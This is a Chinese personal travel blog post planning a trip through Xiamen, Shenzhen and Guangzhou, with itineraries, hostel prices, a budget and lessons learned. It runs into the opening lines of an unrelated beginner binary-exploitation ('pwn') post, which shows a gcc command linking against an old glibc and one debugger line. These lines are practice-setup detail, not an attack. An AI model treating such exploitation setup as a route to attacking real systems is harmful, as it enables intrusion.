美食: 海鲜自助!!!!!! 沙茶面、鱼丸汤、蚵仔煎、姜母鸭、春卷
景点: 鼓浪屿(35元、一定提前几天订船票、旺季提前半个月)、 南普陀寺(需要预约)、环岛路(骑行)、沙滩、 地铁1号线是海上地铁!
去鼓浪屿: 厦门邮轮中心厦鼓码头(提前1小时到)(35元) 微信小程序:厦门轮渡+
离岛: 三丘田码头 — 厦门轮渡码头
第一天: 中山路步行街、南普陀寺、环岛路 这几个都在住宿附近,
第二天: 2.6 早上登岛鼓浪屿,下午离岛
厦门地铁
厦门植物园鼓浪屿南普陀寺海鲜自助2.7 深圳路线: 厦门北 — 深圳北 125
行程: 中午11点到,7号玩半天,8号下午2点出发去广州
住宿: xx青年旅舍 42一晚,深圳北站附近
景点: 深圳湾公园、深圳世界之窗(220元)、主要来这里感受大城市的繁华2333
第一天: 深圳湾公园、世界之窗(待考虑
第二天: 去找同学玩呀!!! 神仙院的
神仙院2.8 广州路线 深圳 — 广州 21.5
行程: 8号下午3.40到广州,玩半天,9号一天,10号中午启程回家、2.10号返程 回来机票 439
住宿: xxx青年旅舍 120两晚,在市区(广州塔对面)
美食: 早茶! 肠粉、煲仔饭、艇仔粥
景点: 广东省博物馆(预约!)、广州塔、珠江夜游(水上巴士)、上下九步行街
第一天: 下午到了,到处逛逛,然后夜游珠江,晚上看看广州塔(最美七公里 有轨电车!)
第二天:广东省博物馆、
第三天: 10点左右准备去机场了, 机票430
小蛮腰广东博物馆陈家祠南越王博物馆大佛寺好吃的肠粉早茶花销预算 + 实际花费路费: 44 + 450.5 + 268 + 142 + 23.5 + 125 + 21.5 + 439 = 1513.5
住宿: 73 + 88 + 118 + 42 + 120 = 441
门票: 365
其他: 船票 35
饮食: 30 * 10 基础 + 300 特色食物
吃饭记得减肥, 早餐晚餐少吃,可以吃一点当地特色食物
总计: 1513.5 + 441 + 365 + 35 + 600 = 2954.5元 -220(不去世界之窗了)-45(灵隐寺免费了)
实际花费: 我懒得算了……..总之….饮食方便预算太少了,虽然自己想减肥,但是每天体力消耗太大,每天平均18000步,不吃好扛不住…..最后花销应该在4500左右吧
经验教训0.在家靠父母,出门靠朋友! 多交一点(靠谱的)朋友还是很好的!! 去龙岩找的是本科同学,玩的还不错,非常客气,搞得我不太好意思😂. 在深圳是 社恐群里的 神仙院的校友hhhh,非常热情,带着吃饭和逛神仙院. 在广州的话,是年前在洛阳旅游碰到的三个信佛的姐姐,人非常好,给我准备了礼物还请我吃饭,大意了,我当时考虑过要不要准备礼物..后面忘了……
1.旅游是很累的,要消耗体力的,是可以减肥的,但是效果不会有想象的那么好(毕竟也要好好吃饭,不然没力气玩了!!)
2.吃当地特色有的美食街还是不错的,但最好的还是在居民聚居的地方!
pwn入门-遇到的奇奇怪怪的问题及解决办法
gcc -Wl,-rpath=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64//,–dynamic-linker=/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-linux-x86-64.so.2 1.c
=> 0x563e8cd58c31 <main+395>: lea rdi,[rip+0xbd5] # 0x563e8cd5980d